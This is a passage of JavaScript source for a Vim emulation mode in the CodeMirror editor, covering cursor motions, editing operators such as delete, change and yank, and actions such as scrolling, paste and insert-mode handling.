        macroModeState.lastInsertModeChanges.changes = [];
        macroModeState.lastInsertModeChanges.expectCursorActivityForChange = false;
      }
    };

    /**
     * typedef {Object{line:number,ch:number}} Cursor An object containing the
     *     position of the cursor.
     */
    // All of the functions below return Cursor objects.
    var motions = {
      moveToTopLine: function(cm, _head, motionArgs) {
        var line = getUserVisibleLines(cm).top + motionArgs.repeat -1;
        return Pos(line, findFirstNonWhiteSpaceCharacter(cm.getLine(line)));
      },
      moveToMiddleLine: function(cm) {
        var range = getUserVisibleLines(cm);
        var line = Math.floor((range.top + range.bottom) * 0.5);
        return Pos(line, findFirstNonWhiteSpaceCharacter(cm.getLine(line)));
      },
      moveToBottomLine: function(cm, _head, motionArgs) {
        var line = getUserVisibleLines(cm).bottom - motionArgs.repeat +1;
        return Pos(line, findFirstNonWhiteSpaceCharacter(cm.getLine(line)));
      },
      expandToLine: function(_cm, head, motionArgs) {
        // Expands forward to end of line, and then to next line if repeat is
        // >1. Does not handle backward motion!
        var cur = head;
        return Pos(cur.line + motionArgs.repeat - 1, Infinity);
      },
      findNext: function(cm, _head, motionArgs) {
        var state = getSearchState(cm);
        var query = state.getQuery();
        if (!query) {
          return;
        }
        var prev = !motionArgs.forward;
        // If search is initiated with ? instead of /, negate direction.
        prev = (state.isReversed()) ? !prev : prev;
        highlightSearchMatches(cm, query);
        return findNext(cm, prev/** prev */, query, motionArgs.repeat);
      },
      goToMark: function(cm, _head, motionArgs, vim) {
        var mark = vim.marks[motionArgs.selectedCharacter];
        if (mark) {
          var pos = mark.find();
          return motionArgs.linewise ? { line: pos.line, ch: findFirstNonWhiteSpaceCharacter(cm.getLine(pos.line)) } : pos;
        }
        return null;
      },
      moveToOtherHighlightedEnd: function(cm, _head, motionArgs, vim) {
        if (vim.visualBlock && motionArgs.sameLine) {
          var sel = vim.sel;
          return [
            clipCursorToContent(cm, Pos(sel.anchor.line, sel.head.ch)),
            clipCursorToContent(cm, Pos(sel.head.line, sel.anchor.ch))
          ];
        } else {
          return ([vim.sel.head, vim.sel.anchor]);
        }
      },
      jumpToMark: function(cm, head, motionArgs, vim) {
        var best = head;
        for (var i = 0; i < motionArgs.repeat; i++) {
          var cursor = best;
          for (var key in vim.marks) {
            if (!isLowerCase(key)) {
              continue;
            }
            var mark = vim.marks[key].find();
            var isWrongDirection = (motionArgs.forward) ?
              cursorIsBefore(mark, cursor) : cursorIsBefore(cursor, mark);

            if (isWrongDirection) {
              continue;
            }
            if (motionArgs.linewise && (mark.line == cursor.line)) {
              continue;
            }

            var equal = cursorEqual(cursor, best);
            var between = (motionArgs.forward) ?
              cursorIsBetween(cursor, mark, best) :
              cursorIsBetween(best, mark, cursor);

            if (equal || between) {
              best = mark;
            }
          }
        }

        if (motionArgs.linewise) {
          // Vim places the cursor on the first non-whitespace character of
          // the line if there is one, else it places the cursor at the end
          // of the line, regardless of whether a mark was found.
          best = Pos(best.line, findFirstNonWhiteSpaceCharacter(cm.getLine(best.line)));
        }
        return best;
      },
      moveByCharacters: function(_cm, head, motionArgs) {
        var cur = head;
        var repeat = motionArgs.repeat;
        var ch = motionArgs.forward ? cur.ch + repeat : cur.ch - repeat;
        return Pos(cur.line, ch);
      },
      moveByLines: function(cm, head, motionArgs, vim) {
        var cur = head;
        var endCh = cur.ch;
        // Depending what our last motion was, we may want to do different
        // things. If our last motion was moving vertically, we want to
        // preserve the HPos from our last horizontal move.  If our last motion
        // was going to the end of a line, moving vertically we should go to
        // the end of the line, etc.
        switch (vim.lastMotion) {
          case this.moveByLines:
          case this.moveByDisplayLines:
          case this.moveByScroll:
          case this.moveToColumn:
          case this.moveToEol:
            endCh = vim.lastHPos;
            break;
          default:
            vim.lastHPos = endCh;
        }
        var repeat = motionArgs.repeat+(motionArgs.repeatOffset||0);
        var line = motionArgs.forward ? cur.line + repeat : cur.line - repeat;
        var first = cm.firstLine();
        var last = cm.lastLine();
        // Vim cancels linewise motions that start on an edge and move beyond
        // that edge. It does not cancel motions that do not start on an edge.
        if ((line < first && cur.line == first) ||
            (line > last && cur.line == last)) {
          return;
        }
        if (motionArgs.toFirstChar){
          endCh=findFirstNonWhiteSpaceCharacter(cm.getLine(line));
          vim.lastHPos = endCh;
        }
        vim.lastHSPos = cm.charCoords(Pos(line, endCh),'div').left;
        return Pos(line, endCh);
      },
      moveByDisplayLines: function(cm, head, motionArgs, vim) {
        var cur = head;
        switch (vim.lastMotion) {
          case this.moveByDisplayLines:
          case this.moveByScroll:
          case this.moveByLines:
          case this.moveToColumn:
          case this.moveToEol:
            break;
          default:
            vim.lastHSPos = cm.charCoords(cur,'div').left;
        }
        var repeat = motionArgs.repeat;
        var res=cm.findPosV(cur,(motionArgs.forward ? repeat : -repeat),'line',vim.lastHSPos);
        if (res.hitSide) {
          if (motionArgs.forward) {
            var lastCharCoords = cm.charCoords(res, 'div');
            var goalCoords = { top: lastCharCoords.top + 8, left: vim.lastHSPos };
            var res = cm.coordsChar(goalCoords, 'div');
          } else {
            var resCoords = cm.charCoords(Pos(cm.firstLine(), 0), 'div');
            resCoords.left = vim.lastHSPos;
            res = cm.coordsChar(resCoords, 'div');
          }
        }
        vim.lastHPos = res.ch;
        return res;
      },
      moveByPage: function(cm, head, motionArgs) {
        // CodeMirror only exposes functions that move the cursor page down, so
        // doing this bad hack to move the cursor and move it back. evalInput
        // will move the cursor to where it should be in the end.
        var curStart = head;
        var repeat = motionArgs.repeat;
        return cm.findPosV(curStart, (motionArgs.forward ? repeat : -repeat), 'page');
      },
      moveByParagraph: function(cm, head, motionArgs) {
        var dir = motionArgs.forward ? 1 : -1;
        return findParagraph(cm, head, motionArgs.repeat, dir);
      },
      moveByScroll: function(cm, head, motionArgs, vim) {
        var scrollbox = cm.getScrollInfo();
        var curEnd = null;
        var repeat = motionArgs.repeat;
        if (!repeat) {
          repeat = scrollbox.clientHeight / (2 * cm.defaultTextHeight());
        }
        var orig = cm.charCoords(head, 'local');
        motionArgs.repeat = repeat;
        var curEnd = motions.moveByDisplayLines(cm, head, motionArgs, vim);
        if (!curEnd) {
          return null;
        }
        var dest = cm.charCoords(curEnd, 'local');
        cm.scrollTo(null, scrollbox.top + dest.top - orig.top);
        return curEnd;
      },
      moveByWords: function(cm, head, motionArgs) {
        return moveToWord(cm, head, motionArgs.repeat, !!motionArgs.forward,
            !!motionArgs.wordEnd, !!motionArgs.bigWord);
      },
      moveTillCharacter: function(cm, _head, motionArgs) {
        var repeat = motionArgs.repeat;
        var curEnd = moveToCharacter(cm, repeat, motionArgs.forward,
            motionArgs.selectedCharacter);
        var increment = motionArgs.forward ? -1 : 1;
        recordLastCharacterSearch(increment, motionArgs);
        if (!curEnd) return null;
        curEnd.ch += increment;
        return curEnd;
      },
      moveToCharacter: function(cm, head, motionArgs) {
        var repeat = motionArgs.repeat;
        recordLastCharacterSearch(0, motionArgs);
        return moveToCharacter(cm, repeat, motionArgs.forward,
            motionArgs.selectedCharacter) || head;
      },
      moveToSymbol: function(cm, head, motionArgs) {
        var repeat = motionArgs.repeat;
        return findSymbol(cm, repeat, motionArgs.forward,
            motionArgs.selectedCharacter) || head;
      },
      moveToColumn: function(cm, head, motionArgs, vim) {
        var repeat = motionArgs.repeat;
        // repeat is equivalent to which column we want to move to!
        vim.lastHPos = repeat - 1;
        vim.lastHSPos = cm.charCoords(head,'div').left;
        return moveToColumn(cm, repeat);
      },
      moveToEol: function(cm, head, motionArgs, vim) {
        var cur = head;
        vim.lastHPos = Infinity;
        var retval= Pos(cur.line + motionArgs.repeat - 1, Infinity);
        var end=cm.clipPos(retval);
        end.ch--;
        vim.lastHSPos = cm.charCoords(end,'div').left;
        return retval;
      },
      moveToFirstNonWhiteSpaceCharacter: function(cm, head) {
        // Go to the start of the line where the text begins, or the end for
        // whitespace-only lines
        var cursor = head;
        return Pos(cursor.line,
                   findFirstNonWhiteSpaceCharacter(cm.getLine(cursor.line)));
      },
      moveToMatchedSymbol: function(cm, head) {
        var cursor = head;
        var line = cursor.line;
        var ch = cursor.ch;
        var lineText = cm.getLine(line);
        var symbol;
        do {
          symbol = lineText.charAt(ch++);
          if (symbol && isMatchableSymbol(symbol)) {
            var style = cm.getTokenTypeAt(Pos(line, ch));
            if (style !== "string" && style !== "comment") {
              break;
            }
          }
        } while (symbol);
        if (symbol) {
          var matched = cm.findMatchingBracket(Pos(line, ch));
          return matched.to;
        } else {
          return cursor;
        }
      },
      moveToStartOfLine: function(_cm, head) {
        return Pos(head.line, 0);
      },
      moveToLineOrEdgeOfDocument: function(cm, _head, motionArgs) {
        var lineNum = motionArgs.forward ? cm.lastLine() : cm.firstLine();
        if (motionArgs.repeatIsExplicit) {
          lineNum = motionArgs.repeat - cm.getOption('firstLineNumber');
        }
        return Pos(lineNum,
                   findFirstNonWhiteSpaceCharacter(cm.getLine(lineNum)));
      },
      textObjectManipulation: function(cm, head, motionArgs, vim) {
        // TODO: lots of possible exceptions that can be thrown here. Try da(
        //     outside of a () block.

        // TODO: adding <> >< to this map doesn't work, presumably because
        // they're operators
        var mirroredPairs = {'(': ')', ')': '(',
                             '{': '}', '}': '{',
                             '[': ']', ']': '['};
        var selfPaired = {'\'': true, '"': true};

        var character = motionArgs.selectedCharacter;
        // 'b' refers to  '()' block.
        // 'B' refers to  '{}' block.
        if (character == 'b') {
          character = '(';
        } else if (character == 'B') {
          character = '{';
        }

        // Inclusive is the difference between a and i
        // TODO: Instead of using the additional text object map to perform text
        //     object operations, merge the map into the defaultKeyMap and use
        //     motionArgs to define behavior. Define separate entries for 'aw',
        //     'iw', 'a[', 'i[', etc.
        var inclusive = !motionArgs.textObjectInner;

        var tmp;
        if (mirroredPairs[character]) {
          tmp = selectCompanionObject(cm, head, character, inclusive);
        } else if (selfPaired[character]) {
          tmp = findBeginningAndEnd(cm, head, character, inclusive);
        } else if (character === 'W') {
          tmp = expandWordUnderCursor(cm, inclusive, true /** forward */,
                                                     true /** bigWord */);
        } else if (character === 'w') {
          tmp = expandWordUnderCursor(cm, inclusive, true /** forward */,
                                                     false /** bigWord */);
        } else if (character === 'p') {
          tmp = findParagraph(cm, head, motionArgs.repeat, 0, inclusive);
          motionArgs.linewise = true;
          if (vim.visualMode) {
            if (!vim.visualLine) { vim.visualLine = true; }
          } else {
            var operatorArgs = vim.inputState.operatorArgs;
            if (operatorArgs) { operatorArgs.linewise = true; }
            tmp.end.line--;
          }
        } else {
          // No text object defined for this, don't move.
          return null;
        }

        if (!cm.state.vim.visualMode) {
          return [tmp.start, tmp.end];
        } else {
          return expandSelection(cm, tmp.start, tmp.end);
        }
      },

      repeatLastCharacterSearch: function(cm, head, motionArgs) {
        var lastSearch = vimGlobalState.lastChararacterSearch;
        var repeat = motionArgs.repeat;
        var forward = motionArgs.forward === lastSearch.forward;
        var increment = (lastSearch.increment ? 1 : 0) * (forward ? -1 : 1);
        cm.moveH(-increment, 'char');
        motionArgs.inclusive = forward ? true : false;
        var curEnd = moveToCharacter(cm, repeat, forward, lastSearch.selectedCharacter);
        if (!curEnd) {
          cm.moveH(increment, 'char');
          return head;
        }
        curEnd.ch += increment;
        return curEnd;
      }
    };

    function defineMotion(name, fn) {
      motions[name] = fn;
    }

    function fillArray(val, times) {
      var arr = [];
      for (var i = 0; i < times; i++) {
        arr.push(val);
      }
      return arr;
    }
    /**
     * An operator acts on a text selection. It receives the list of selections
     * as input. The corresponding CodeMirror selection is guaranteed to
    * match the input selection.
     */
    var operators = {
      change: function(cm, args, ranges) {
        var finalHead, text;
        var vim = cm.state.vim;
        vimGlobalState.macroModeState.lastInsertModeChanges.inVisualBlock = vim.visualBlock;
        if (!vim.visualMode) {
          var anchor = ranges[0].anchor,
              head = ranges[0].head;
          text = cm.getRange(anchor, head);
          var lastState = vim.lastEditInputState || {};
          if (lastState.motion == "moveByWords" && !isWhiteSpaceString(text)) {
            // Exclude trailing whitespace if the range is not all whitespace.
            var match = (/\s+$/).exec(text);
            if (match && lastState.motionArgs && lastState.motionArgs.forward) {
              head = offsetCursor(head, 0, - match[0].length);
              text = text.slice(0, - match[0].length);
            }
          }
          var wasLastLine = head.line - 1 == cm.lastLine();
          cm.replaceRange('', anchor, head);
          if (args.linewise && !wasLastLine) {
            // Push the next line back down, if there is a next line.
            CodeMirror.commands.newlineAndIndent(cm);
            // null ch so setCursor moves to end of line.
            anchor.ch = null;
          }
          finalHead = anchor;
        } else {
          text = cm.getSelection();
          var replacement = fillArray('', ranges.length);
          cm.replaceSelections(replacement);
          finalHead = cursorMin(ranges[0].head, ranges[0].anchor);
        }
        vimGlobalState.registerController.pushText(
            args.registerName, 'change', text,
            args.linewise, ranges.length > 1);
        actions.enterInsertMode(cm, {head: finalHead}, cm.state.vim);
      },
      // delete is a javascript keyword.
      'delete': function(cm, args, ranges) {
        var finalHead, text;
        var vim = cm.state.vim;
        if (!vim.visualBlock) {
          var anchor = ranges[0].anchor,
              head = ranges[0].head;
          if (args.linewise &&
              head.line != cm.firstLine() &&
              anchor.line == cm.lastLine() &&
              anchor.line == head.line - 1) {
            // Special case for dd on last line (and first line).
            if (anchor.line == cm.firstLine()) {
              anchor.ch = 0;
            } else {
              anchor = Pos(anchor.line - 1, lineLength(cm, anchor.line - 1));
            }
          }
          text = cm.getRange(anchor, head);
          cm.replaceRange('', anchor, head);
          finalHead = anchor;
          if (args.linewise) {
            finalHead = motions.moveToFirstNonWhiteSpaceCharacter(cm, anchor);
          }
        } else {
          text = cm.getSelection();
          var replacement = fillArray('', ranges.length);
          cm.replaceSelections(replacement);
          finalHead = ranges[0].anchor;
        }
        vimGlobalState.registerController.pushText(
            args.registerName, 'delete', text,
            args.linewise, vim.visualBlock);
        return clipCursorToContent(cm, finalHead);
      },
      indent: function(cm, args, ranges) {
        var vim = cm.state.vim;
        var startLine = ranges[0].anchor.line;
        var endLine = vim.visualBlock ?
          ranges[ranges.length - 1].anchor.line :
          ranges[0].head.line;
        // In visual mode, n> shifts the selection right n times, instead of
        // shifting n lines right once.
        var repeat = (vim.visualMode) ? args.repeat : 1;
        if (args.linewise) {
          // The only way to delete a newline is to delete until the start of
          // the next line, so in linewise mode evalInput will include the next
          // line. We don't want this in indent, so we go back a line.
          endLine--;
        }
        for (var i = startLine; i <= endLine; i++) {
          for (var j = 0; j < repeat; j++) {
            cm.indentLine(i, args.indentRight);
          }
        }
        return motions.moveToFirstNonWhiteSpaceCharacter(cm, ranges[0].anchor);
      },
      changeCase: function(cm, args, ranges, oldAnchor, newHead) {
        var selections = cm.getSelections();
        var swapped = [];
        var toLower = args.toLower;
        for (var j = 0; j < selections.length; j++) {
          var toSwap = selections[j];
          var text = '';
          if (toLower === true) {
            text = toSwap.toLowerCase();
          } else if (toLower === false) {
            text = toSwap.toUpperCase();
          } else {
            for (var i = 0; i < toSwap.length; i++) {
              var character = toSwap.charAt(i);
              text += isUpperCase(character) ? character.toLowerCase() :
                  character.toUpperCase();
            }
          }
          swapped.push(text);
        }
        cm.replaceSelections(swapped);
        if (args.shouldMoveCursor){
          return newHead;
        } else if (!cm.state.vim.visualMode && args.linewise && ranges[0].anchor.line + 1 == ranges[0].head.line) {
          return motions.moveToFirstNonWhiteSpaceCharacter(cm, oldAnchor);
        } else if (args.linewise){
          return oldAnchor;
        } else {
          return cursorMin(ranges[0].anchor, ranges[0].head);
        }
      },
      yank: function(cm, args, ranges, oldAnchor) {
        var vim = cm.state.vim;
        var text = cm.getSelection();
        var endPos = vim.visualMode
          ? cursorMin(vim.sel.anchor, vim.sel.head, ranges[0].head, ranges[0].anchor)
          : oldAnchor;
        vimGlobalState.registerController.pushText(
            args.registerName, 'yank',
            text, args.linewise, vim.visualBlock);
        return endPos;
      }
    };

    function defineOperator(name, fn) {
      operators[name] = fn;
    }

    var actions = {
      jumpListWalk: function(cm, actionArgs, vim) {
        if (vim.visualMode) {
          return;
        }
        var repeat = actionArgs.repeat;
        var forward = actionArgs.forward;
        var jumpList = vimGlobalState.jumpList;

        var mark = jumpList.move(cm, forward ? repeat : -repeat);
        var markPos = mark ? mark.find() : undefined;
        markPos = markPos ? markPos : cm.getCursor();
        cm.setCursor(markPos);
      },
      scroll: function(cm, actionArgs, vim) {
        if (vim.visualMode) {
          return;
        }
        var repeat = actionArgs.repeat || 1;
        var lineHeight = cm.defaultTextHeight();
        var top = cm.getScrollInfo().top;
        var delta = lineHeight * repeat;
        var newPos = actionArgs.forward ? top + delta : top - delta;
        var cursor = copyCursor(cm.getCursor());
        var cursorCoords = cm.charCoords(cursor, 'local');
        if (actionArgs.forward) {
          if (newPos > cursorCoords.top) {
             cursor.line += (newPos - cursorCoords.top) / lineHeight;
             cursor.line = Math.ceil(cursor.line);
             cm.setCursor(cursor);
             cursorCoords = cm.charCoords(cursor, 'local');
             cm.scrollTo(null, cursorCoords.top);
          } else {
             // Cursor stays within bounds.  Just reposition the scroll window.
             cm.scrollTo(null, newPos);
          }
        } else {
          var newBottom = newPos + cm.getScrollInfo().clientHeight;
          if (newBottom < cursorCoords.bottom) {
             cursor.line -= (cursorCoords.bottom - newBottom) / lineHeight;
             cursor.line = Math.floor(cursor.line);
             cm.setCursor(cursor);
             cursorCoords = cm.charCoords(cursor, 'local');
             cm.scrollTo(
                 null, cursorCoords.bottom - cm.getScrollInfo().clientHeight);
          } else {
             // Cursor stays within bounds.  Just reposition the scroll window.
             cm.scrollTo(null, newPos);
          }
        }
      },
      scrollToCursor: function(cm, actionArgs) {
        var lineNum = cm.getCursor().line;
        var charCoords = cm.charCoords(Pos(lineNum, 0), 'local');
        var height = cm.getScrollInfo().clientHeight;
        var y = charCoords.top;
        var lineHeight = charCoords.bottom - y;
        switch (actionArgs.position) {
          case 'center': y = y - (height / 2) + lineHeight;
            break;
          case 'bottom': y = y - height + lineHeight*1.4;
            break;
          case 'top': y = y + lineHeight*0.4;
            break;
        }
        cm.scrollTo(null, y);
      },
      replayMacro: function(cm, actionArgs, vim) {
        var registerName = actionArgs.selectedCharacter;
        var repeat = actionArgs.repeat;
        var macroModeState = vimGlobalState.macroModeState;
        if (registerName == '@') {
          registerName = macroModeState.latestRegister;
        }
        while(repeat--){
          executeMacroRegister(cm, vim, macroModeState, registerName);
        }
      },
      enterMacroRecordMode: function(cm, actionArgs) {
        var macroModeState = vimGlobalState.macroModeState;
        var registerName = actionArgs.selectedCharacter;
        macroModeState.enterMacroRecordMode(cm, registerName);
      },
      enterInsertMode: function(cm, actionArgs, vim) {
        if (cm.getOption('readOnly')) { return; }
        vim.insertMode = true;
        vim.insertModeRepeat = actionArgs && actionArgs.repeat || 1;
        var insertAt = (actionArgs) ? actionArgs.insertAt : null;
        var sel = vim.sel;
        var head = actionArgs.head || cm.getCursor('head');
        var height = cm.listSelections().length;
        if (insertAt == 'eol') {
          head = Pos(head.line, lineLength(cm, head.line));
        } else if (insertAt == 'charAfter') {
          head = offsetCursor(head, 0, 1);
        } else if (insertAt == 'firstNonBlank') {
          head = motions.moveToFirstNonWhiteSpaceCharacter(cm, head);
        } else if (insertAt == 'startOfSelectedArea') {
          if (!vim.visualBlock) {
            if (sel.head.line < sel.anchor.line) {
              head = sel.head;
            } else {
              head = Pos(sel.anchor.line, 0);
            }
          } else {
            head = Pos(
                Math.min(sel.head.line, sel.anchor.line),
                Math.min(sel.head.ch, sel.anchor.ch));
            height = Math.abs(sel.head.line - sel.anchor.line) + 1;
          }
        } else if (insertAt == 'endOfSelectedArea') {
          if (!vim.visualBlock) {
            if (sel.head.line >= sel.anchor.line) {
              head = offsetCursor(sel.head, 0, 1);
            } else {
              head = Pos(sel.anchor.line, 0);
            }
          } else {
            head = Pos(
                Math.min(sel.head.line, sel.anchor.line),
                Math.max(sel.head.ch + 1, sel.anchor.ch));
            height = Math.abs(sel.head.line - sel.anchor.line) + 1;
          }
        } else if (insertAt == 'inplace') {
          if (vim.visualMode){
            return;
          }
        }
        cm.setOption('keyMap', 'vim-insert');
        cm.setOption('disableInput', false);
        if (actionArgs && actionArgs.replace) {
          // Handle Replace-mode as a special case of insert mode.
          cm.toggleOverwrite(true);
          cm.setOption('keyMap', 'vim-replace');
          CodeMirror.signal(cm, "vim-mode-change", {mode: "replace"});
        } else {
          cm.setOption('keyMap', 'vim-insert');
          CodeMirror.signal(cm, "vim-mode-change", {mode: "insert"});
        }
        if (!vimGlobalState.macroModeState.isPlaying) {
          // Only record if not replaying.
          cm.on('change', onChange);
          CodeMirror.on(cm.getInputField(), 'keydown', onKeyEventTargetKeyDown);
        }
        if (vim.visualMode) {
          exitVisualMode(cm);
        }
        selectForInsert(cm, head, height);
      },
      toggleVisualMode: function(cm, actionArgs, vim) {
        var repeat = actionArgs.repeat;
        var anchor = cm.getCursor();
        var head;
        // TODO: The repeat should actually select number of characters/lines
        //     equal to the repeat times the size of the previous visual
        //     operation.
        if (!vim.visualMode) {
          // Entering visual mode
          vim.visualMode = true;
          vim.visualLine = !!actionArgs.linewise;
          vim.visualBlock = !!actionArgs.blockwise;
          head = clipCursorToContent(
              cm, Pos(anchor.line, anchor.ch + repeat - 1),
              true /** includeLineBreak */);
          vim.sel = {
            anchor: anchor,
            head: head
          };
          CodeMirror.signal(cm, "vim-mode-change", {mode: "visual", subMode: vim.visualLine ? "linewise" : vim.visualBlock ? "blockwise" : ""});
          updateCmSelection(cm);
          updateMark(cm, vim, '<', cursorMin(anchor, head));
          updateMark(cm, vim, '>', cursorMax(anchor, head));
        } else if (vim.visualLine ^ actionArgs.linewise ||
            vim.visualBlock ^ actionArgs.blockwise) {
          // Toggling between modes
          vim.visualLine = !!actionArgs.linewise;
          vim.visualBlock = !!actionArgs.blockwise;
          CodeMirror.signal(cm, "vim-mode-change", {mode: "visual", subMode: vim.visualLine ? "linewise" : vim.visualBlock ? "blockwise" : ""});
          updateCmSelection(cm);
        } else {
          exitVisualMode(cm);
        }
      },
      reselectLastSelection: function(cm, _actionArgs, vim) {
        var lastSelection = vim.lastSelection;
        if (vim.visualMode) {
          updateLastSelection(cm, vim);
        }
        if (lastSelection) {
          var anchor = lastSelection.anchorMark.find();
          var head = lastSelection.headMark.find();
          if (!anchor || !head) {
            // If the marks have been destroyed due to edits, do nothing.
            return;
          }
          vim.sel = {
            anchor: anchor,
            head: head
          };
          vim.visualMode = true;
          vim.visualLine = lastSelection.visualLine;
          vim.visualBlock = lastSelection.visualBlock;
          updateCmSelection(cm);
          updateMark(cm, vim, '<', cursorMin(anchor, head));
          updateMark(cm, vim, '>', cursorMax(anchor, head));
          CodeMirror.signal(cm, 'vim-mode-change', {
            mode: 'visual',
            subMode: vim.visualLine ? 'linewise' :
                     vim.visualBlock ? 'blockwise' : ''});
        }
      },
      joinLines: function(cm, actionArgs, vim) {
        var curStart, curEnd;
        if (vim.visualMode) {
          curStart = cm.getCursor('anchor');
          curEnd = cm.getCursor('head');
          if (cursorIsBefore(curEnd, curStart)) {
            var tmp = curEnd;
            curEnd = curStart;
            curStart = tmp;
          }
          curEnd.ch = lineLength(cm, curEnd.line) - 1;
        } else {
          // Repeat is the number of lines to join. Minimum 2 lines.
          var repeat = Math.max(actionArgs.repeat, 2);
          curStart = cm.getCursor();
          curEnd = clipCursorToContent(cm, Pos(curStart.line + repeat - 1,
                                               Infinity));
        }
        var finalCh = 0;
        for (var i = curStart.line; i < curEnd.line; i++) {
          finalCh = lineLength(cm, curStart.line);
          var tmp = Pos(curStart.line + 1,
                        lineLength(cm, curStart.line + 1));
          var text = cm.getRange(curStart, tmp);
          text = text.replace(/\n\s*/g, ' ');
          cm.replaceRange(text, curStart, tmp);
        }
        var curFinalPos = Pos(curStart.line, finalCh);
        if (vim.visualMode) {
          exitVisualMode(cm, false);
        }
        cm.setCursor(curFinalPos);
      },
      newLineAndEnterInsertMode: function(cm, actionArgs, vim) {
        vim.insertMode = true;
        var insertAt = copyCursor(cm.getCursor());
        if (insertAt.line === cm.firstLine() && !actionArgs.after) {
          // Special case for inserting newline before start of document.
          cm.replaceRange('\n', Pos(cm.firstLine(), 0));
          cm.setCursor(cm.firstLine(), 0);
        } else {
          insertAt.line = (actionArgs.after) ? insertAt.line :
              insertAt.line - 1;
          insertAt.ch = lineLength(cm, insertAt.line);
          cm.setCursor(insertAt);
          var newlineFn = CodeMirror.commands.newlineAndIndentContinueComment ||
              CodeMirror.commands.newlineAndIndent;
          newlineFn(cm);
        }
        this.enterInsertMode(cm, { repeat: actionArgs.repeat }, vim);
      },
      paste: function(cm, actionArgs, vim) {
        var cur = copyCursor(cm.getCursor());
        var register = vimGlobalState.registerController.getRegister(
            actionArgs.registerName);
        var text = register.toString();
        if (!text) {
          return;
        }
        if (actionArgs.matchIndent) {
          var tabSize = cm.getOption("tabSize");
          // length that considers tabs and tabSize
          var whitespaceLength = function(str) {
            var tabs = (str.split("\t").length - 1);
            var spaces = (str.split(" ").length - 1);
            return tabs * tabSize + spaces * 1;
          };
          var currentLine = cm.getLine(cm.getCursor().line);
          var indent = whitespaceLength(currentLine.match(/^\s*/)[0]);
          // chomp last newline b/c don't want it to match /^\s*/gm
          var chompedText = text.replace(/\n$/, '');
          var wasChomped = text !== chompedText;
          var firstIndent = whitespaceLength(text.match(/^\s*/)[0]);
          var text = chompedText.replace(/^\s*/gm, function(wspace) {
            var newIndent = indent + (whitespaceLength(wspace) - firstIndent);
            if (newIndent < 0) {
              return "";
            }
            else if (cm.getOption("indentWithTabs")) {
              var quotient = Math.floor(newIndent / tabSize);
              return Array(quotient + 1).join('\t');
            }
            else {
              return Array(newIndent + 1).join(' ');
            }
          });
          text += wasChomped ? "\n" : "";
        }
        if (actionArgs.repeat > 1) {
          var text = Array(actionArgs.repeat + 1).join(text);
        }
        var linewise = register.linewise;
        var blockwise = register.blockwise;
        if (linewise) {
          if(vim.visualMode) {
            text = vim.visualLine ? text.slice(0, -1) : '\n' + text.slice(0, text.length - 1) + '\n';
          } else if (actionArgs.after) {
            // Move the newline at the end to the start instead, and paste just
            // before the newline character of the line we are on right now.
            text = '\n' + text.slice(0, text.length - 1);
            cur.ch = lineLength(cm, cur.line);
          } else {
            cur.ch = 0;
          }
        } else {
          if (blockwise) {
            text = text.split('\n');
            for (var i = 0; i < text.length; i++) {
              text[i] = (text[i] == '') ? ' ' : text[i];
            }
          }
          cur.ch += actionArgs.after ? 1 : 0;
        }
        var curPosFinal;
        var idx;
        if (vim.visualMode) {
          //  save the pasted text for reselection if the need arises
          vim.lastPastedText = text;
          var lastSelectionCurEnd;
          var selectedArea = getSelectedAreaRange(cm, vim);
          var selectionStart = selectedArea[0];
          var selectionEnd = selectedArea[1];
          var selectedText = cm.getSelection();
          var selections = cm.listSelections();
          var emptyStrings = new Array(selections.length).join('1').split('1');
          // save the curEnd marker before it get cleared due to cm.replaceRange.
          if (vim.lastSelection) {
            lastSelectionCurEnd = vim.lastSelection.headMark.find();
          }
          // push the previously selected text to unnamed register
          vimGlobalState.registerController.unnamedRegister.setText(selectedText);
          if (blockwise) {
            // first delete the selected text
            cm.replaceSelections(emptyStrings);
            // Set new selections as per the block length of the yanked text
            selectionEnd = Pos(selectionStart.line + text.length-1, selectionStart.ch);
            cm.setCursor(selectionStart);
            selectBlock(cm, selectionEnd);
            cm.replaceSelections(text);
            curPosFinal = selectionStart;
          } else if (vim.visualBlock) {
            cm.replaceSelections(emptyStrings);
            cm.setCursor(selectionStart);
            cm.replaceRange(text, selectionStart, selectionStart);
            curPosFinal = selectionStart;
          } else {
            cm.replaceRange(text, selectionStart, selectionEnd);
            curPosFinal = cm.posFromIndex(cm.indexFromPos(selectionStart) + text.length - 1);
          }
          // restore the the curEnd marker
          if(lastSelectionCurEnd) {
            vim.lastSelection.headMark = cm.setBookmark(lastSelectionCurEnd);
          }
          if (linewise) {
            curPosFinal.ch=0;
          }
        } else {
          if (blockwise) {
            cm.setCursor(cur);
            for (var i = 0; i < text.length; i++) {
              var line = cur.line+i;
              if (line > cm.lastLine()) {
                cm.replaceRange('\n',  Pos(line, 0));
              }
              var lastCh = lineLength(cm, line);
              if (lastCh < cur.ch) {
                extendLineToColumn(cm, line, cur.ch);
              }
            }
            cm.setCursor(cur);
            selectBlock(cm, Pos(cur.line + text.length-1, cur.ch));
            cm.replaceSelections(text);
            curPosFinal = cur;
          } else {
            cm.replaceRange(text, cur);
            // Now fine tune the cursor to where we want it.
            if (linewise && actionArgs.after) {
              curPosFinal = Pos(
              cur.line + 1,
              findFirstNonWhiteSpaceCharacter(cm.getLine(cur.line + 1)));
            } else if (linewise && !actionArgs.after) {
              curPosFinal = Pos(
                cur.line,
                findFirstNonWhiteSpaceCharacter(cm.getLine(cur.line)));
            } else if (!linewise && actionArgs.after) {
              idx = cm.indexFromPos(cur);
              curPosFinal = cm.posFromIndex(idx + text.length - 1);
            } else {
              idx = cm.indexFromPos(cur);
              curPosFinal = cm.posFromIndex(idx + text.length);
            }
          }
        }
        if (vim.visualMode) {
          exitVisualMode(cm, false);
        }
        cm.setCursor(curPosFinal);
      },
      undo: function(cm, actionArgs) {
        cm.operation(function() {
          repeatFn(cm, CodeMirror.commands.undo, actionArgs.repeat)();
          cm.setCursor(cm.getCursor('anchor'));
        });
      },
      redo: function(cm, actionArgs) {
        repeatFn(cm, CodeMirror.commands.redo, actionArgs.repeat)();
      },
      setRegister: function(_cm, actionArgs, vim) {
        vim.inputState.registerName = actionArgs.selectedCharacter;
      },
      setMark: function(cm, actionArgs, vim) {
        var markName = actionArgs.selectedCharacter;
        updateMark(cm, vim, markName, cm.getCursor());
      },
      replace: function(cm, actionArgs, vim) {
        var replaceWith = actionArgs.selectedCharacter;
        var curStart = cm.getCursor();
        var replaceTo;
        var curEnd;
        var selections = cm.listSelections();
        if (vim.visualMode) {
          curStart = cm.getCursor('start');
          curEnd = cm.getCursor('end');
        } else {
          var line = cm.getLine(curStart.line);
